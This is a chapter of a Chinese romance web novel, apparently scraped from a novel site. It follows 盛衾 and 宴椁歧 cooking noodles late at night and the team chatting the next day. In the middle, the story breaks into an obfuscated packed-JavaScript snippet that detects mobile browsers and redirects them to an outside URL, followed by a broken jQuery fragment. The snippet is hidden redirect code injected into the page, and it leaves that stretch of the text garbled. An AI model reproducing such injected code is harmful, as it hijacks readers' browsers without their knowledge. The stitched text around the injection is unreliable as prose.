28. 下雪

作品:《透明的雪

    晚上回来没吃东西光顾着睡觉,饮食不规律,胃又开始不舒服。


    盛衾低头看了眼手机,一点多,不算很晚,既然已经醒了没必要空着肚子睡,干脆去厨房找点东西吃,吃完再睡。


    出门后,盛衾没将二楼走廊的灯打开,开着手机的电筒往前走。


    走到拐角窗户附近,忽然涌过来一阵冷意,她紧了紧身上的毛衣开衫,双臂抱在一起瑟瑟发抖。


    下意识侧过脸看向窗户,手机举起的瞬间,一束光打在男人神情寡淡的脸上,他眉头微蹙,低下头,避开强光。


    很淡定,甚至没发出任何声响,像是提早就预感了会有这样的事情发生


    盛衾慌乱地关闭了手电筒,周遭的一切完全黑下来,只剩窗户透进来的微弱光线映在地板和宴椁歧的半个身子上。


    刚才那个场面,让她联想起犯人犯罪时拍照的样子,也是一束强光照在脸上。


    盛衾加速的心跳和嘴角一起上扬,抿了抿唇,忍着笑意开口解释。


    “不好意思,我刚才不知道你在那。”


    “啪嗒。”一声。


    按下二楼走廊灯开关的声音响起。


    瞬间明亮的环境,让刚刚还有心情偷笑的盛衾没了安全感,像是躲在阴暗处偷吃的小老鼠,无处遁形。


    她站在原地没动,长睫煽动几下后抬起眉眼,偷瞄他的反应。


    宴椁歧完全没关注她,将指尖还燃着的烟摁灭后扔进角落处的垃圾桶里,又将窗户关上。


    男人似乎是刚洗过头,发丝全部顺了下来,不露额头比平时柔和些,连带着耳垂上的黑色耳钉都没那么显眼,低调许多。


    穿的很休闲,跟平时花孔雀的打扮不同,简单的黑t仿佛不知道冷,深蓝色宽松牛仔裤,清爽的像是个大学生。


    穿这么少开着窗户抽烟不冷吗?


    他以前不抽烟的,现在抽烟好像有点频繁……。


    盛衾思绪被东拉西扯的牵绊住,下一瞬,被男人投过来带有审视的目光给打断。


    这个时候不说点什么是不是有些奇怪。


    “你……。”


    她开口,想问关于那个名字的事情,但最终还是没问出口。


    宴椁歧就盯着她,不慌不忙的等着她把话说完。


    “你……饿不饿?”


    短暂沉默过后,他眸底的戏谑的笑意愈沉,睨她,问。


    “你饿了?”


    她垂眸,诚实地点了点头:“嗯。”


    宴椁歧:“吃什么?”


    盛衾:“面吧,我来做,你吃吗?”


    “你做?”


    “嗯,方便面,我应该还是会煮的吧。”被他这么一质疑,盛衾自己都有点不自信了。


    他笑:“行啊,也终于轮到你伺候伺候我了。”


    伺候?


    盛衾眉头微微皱起,抬脚往楼下走。


    这个词用的是不是太过了点,虽然他确实勉为其难的照顾过她。


    盛衾没计较他的用词不准确,快步走到厨房拿出两包方便面,给锅里添水的功夫,转过头,看到某人散漫地靠着岛台一侧,双手抱臂,盯着她。


    她有些不适,像是写卷子时老师在身后观察一般,心里始终提着一口气,不放松。


    “你……要不然坐会呢?”


    宴椁歧:“盛衾。”


    盛衾:“嗯。”


    宴椁歧:“你是不是一看见我就饿?”


    盛衾:“?”


    他这话什么意思,以为她借着吃饭的借口跟他单独相处?


    她习惯他单方面污蔑,收敛视线,将方便面下锅,轻声解释:“我晚上没吃饭。”


    宴椁歧跟没听见似的,单手插兜往前走几步,看了眼锅,似不满。


    “你煮面,就真的只煮面是吗?”


    盛衾迟缓了片刻,想起上次他煮的那碗面,确实有其他蔬菜看上去比较丰富,她这只有面的入不了人家的法眼也正常。


    “你知道你看着营养不良,瘦的浑身没有二两肉吗?”


    哪有那么夸张?


    她属于骨架子小的那种,就算吃胖个七八斤表面上都不会胖什么。


    再说,什么叫身上没有二两肉,营养不良?


    她虽然属于偏瘦的,但身材是还不错的。


    盛衾没跟他辩驳,转身朝冰箱那边走过去,但还是不服气小声嘟囔着:“我身上肉多着呢。”


    谁能想到这么小声,还是被某些人听进去了,笑着重复了遍。


    “多着呢?”


    盛衾马上意识到,两人似乎是想到一块去了,她没敢回头也没接茬,耳廓红了一圈,快步走过去打开冰箱。


    宴椁歧往前挪了一步,站在她身后扶着冰箱门,眼看着盛衾只从里面拿出两个番茄。


    “旁边那罐午餐肉也拿上,多吃点。”


    她转身要离开的动作被他开口的话硬控住,身子顿了下,而后乖乖伸手照做,因为她确实饿,毕竟午饭也没吃。


    盛衾一只手捧着两个番茄,怕掉落,只能稍稍弓着腰将午餐肉拿出来。


    两人本来隔着一个拳头的距离,她直腰后没站稳,往后挪了步,她能感觉到几乎是整个人跌入他怀里,靠着他,幸好宴椁歧没移开。


    太贴近,除了她蓬勃的心跳声以外周遭都是男人身上的木质调香水味,跟上次一起去超市的味道不同,这次的闻着柔和些,盛衾甚至觉得似乎有助于睡眠。


    她稍侧过脸,仰起头,不经意对上他居高临下的视线,倏然间,清醒不少。


    他不会以为她是故意的吧?


    想到这,盛衾抬脚快速往前走了两步后,赶紧道歉。


    “不好意思,没站稳。”


    “嗯。”


    宴椁歧这次倒是大度,没说别的,关上冰箱门后,单手拿走她怀里的两个番茄,直奔水池清洗。


    “额……。”盛衾站在他身后,轻声说,“我来就行。”


    “我教你。”


    教她?


    盛衾忽地想起下午在车上时他说沈宁雪悟性太差,教不了。


    她可不想被这样说,坚持道:“不用了,我自己来就行。”


    宴椁歧将洗完的番茄放在小盆中,抬眼看她,问:“你知道怎么去皮吗?”


    “去皮干嘛?”


    “你又不喜欢吃。”


    盛衾往前靠近的动作停住片刻,确实不喜欢吃番茄皮,没想到他还记得,这样想来,上次他做面的时候番茄的确去皮了。


    宴椁歧转身,拿起旁边的水果刀,垂眸在番茄上画好十字,眸色晦暗。


    “我也不喜欢吃。”


    盛衾:“……。”


    看来,主要是他不喜欢吃。


    盛衾按照要求煮好面后,吃饭时,餐桌上除了吞咽声以外再无其他声响。


    有时候,她不知道是自己根本就不了解他,还是他变了很多。


    就像是从前他吃饭时也会说话,现在几乎没话,真正做到了食不言寝不语。


    又比如抽烟,染红发,打耳钉……。


    吃着吃着,她还是败下阵来,总觉得不说话气氛很诡异。


    “罐罐回来之后,我们都出去无人区了怎么办?要不要留个人在家里照顾它。”


    “不用,直接放车里带在身边。”


    “好。”盛衾抬眸,筷子在碗里不自觉地戳了戳,缓声问,“你……为什么给它起这个名字啊?”


    宴椁歧眼眸微动,开口声音低哑:“不好听吗?”


    “没有,挺好听的。”她低头,温和说,“就是好奇,问问。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14129079|147655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他吃完盛出来的一碗面后,起身,往楼上走。


    “剩下的都吃光,别浪费。”


    “好。”


    ——


    隔天。


    盛衾被一阵久违的音乐声叫醒,果然,房子都是一样的不隔音。


    最近两天都不用去沙漠报道,下楼后看到大家都莫名轻松随意了不少,不像前一周每天都跟上战场一般紧绷。


    秦任和陈宇在厨房做饭,丁欢在洗水果,宴椁歧在沙发上玩手机。


    “早上吃什么啊?”


    丁欢笑着说:“陈哥说把冰箱里剩下的东西能吃的都吃一吃,不能吃的就扔了,一会去进货好知道买多少东西。”


    秦任接话:“为了不浪费,所以就做了一个大杂烩。”


    盛衾:“还有什么需要帮忙的吗?”


    “不用,快好了。”陈宇说到这,声量突然加大几分,“阿衾,你真的是太善解人意了,不像某些人。”


    几人相互看了眼,除了沙发上那个毫无反应的以外,其他人都抿唇笑尽量不出声。


    饭桌上。


    盛衾:“秦任,你是不是也没有厚的衣服一会过去买两件,别嫌贵,我给你们买。这件事情确实是我的责任,光想着让你们把厚衣物寄到后面冷的地点,没想到沙漠温度差会这么离谱。”


    丁欢咬了口干吧面包,口齿不清:“没关系的衾姐,我们自己买。”


    盛衾开口解释道:“这边物件贵,你们工资一个月也没多少,我有钱,我买单也是应该的。”


    秦任笑着抱拳:“那就麻烦衾姐了,我买个羽绒服抗冷就行。”


    丁欢附和:“我也是。”


    话都说到这里了,盛衾干脆连同另外两人也问了。


    “陈宇哥,你们是不是也没有准备厚衣物?要不要一起买?”


    陈宇笑着回话:“不用,我们都有的,他那么多行李我就不信没一个厚的,冷我们就自己买了。”


    他们也不是打工人,根本不缺这点钱,盛衾也就不再坚持。


    车上。


    陈宇开口问:“阿衾,刚刚你说把衣物寄到后面冷的地方?你们后面还有地点啊?”


    盛衾点头轻嗯了声。


    秦任解释说:“我们这次是个大项目,所以前期踩点才会这么缜密,像水龙卷和雪龙卷和尘龙卷这种罕见的龙卷风我们都是有特定的观测地点的,虽然说不一定能观测到,但这些地方必须都得去,为后面的大部队避坑减少损耗。”


    陈宇:“我看灾难片电影里,还有一种是火跟龙卷风卷在一起的,怎么没有那种呢?”


    “陈哥,我们不愧是父女组合!”丁欢笑着说,“我之前也问过这个问题,衾姐说,因为火不算自然产物,无法预测,所有就没有这一项。灾难片是因为主人公都在城市里,所以龙卷风都是在大城市发生,混乱中,城市很容易起火,那龙卷风移动过去自然就是火龙卷了。”


    陈宇比了个大拇指,赞赏孩子般:“厉害。”


    “父女组合?”盛衾疑惑道。


    “哦。”秦任解释,“我们三个去医院的时候我给他们组的,我生病了,陈哥不仅要管我,还要顾她。我说他两在一起就像操心的老父亲和女儿。”


    “哈哈哈哈哈哈。”


    一阵笑声过后,陈宇继续问。


    “那你们这还得在国外待多久啊?按照这个进度过年都赶不回去吧。”


    “嗯。”盛衾点头,低头看了眼日期,“按照这个进度,应该得年后了。”


    陈宇:“有点辛苦呢。”


    盛衾:“我倒是还好,年在哪里过都一样的,主要心疼他们,这次得在国外过年了。”


    “没事,我巴不得在国外过年呢。”丁欢说,“家里过年一堆亲戚吵得很。”